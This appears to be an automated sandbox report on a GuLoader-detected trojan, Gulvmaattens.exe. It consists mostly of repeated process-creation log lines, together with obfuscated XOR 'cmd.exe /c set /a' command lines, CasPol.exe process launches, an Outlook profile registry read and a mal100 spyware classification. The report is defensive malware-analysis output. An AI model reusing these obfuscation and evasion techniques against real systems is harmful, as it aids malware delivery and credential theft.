Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_004034C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\Falder99 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\AppData\Local\Temp\nseEC24.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@403/8@0/1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_004021A2 CoCreateInstance, 1_2_004021A2
Source: C:\Users\user\Desktop\Gulvmaattens.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00404858 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 1_2_00404858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: Gulvmaattens.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: sqmapi.pdbUGP source: sqmapi.dll.1.dr
Source: Binary string: sqmapi.pdb source: sqmapi.dll.1.dr

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000001.00000002.51584834701.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000008F.00000000.51450296776.0000000000B00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Obfuscated command line found
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x52^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x47^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
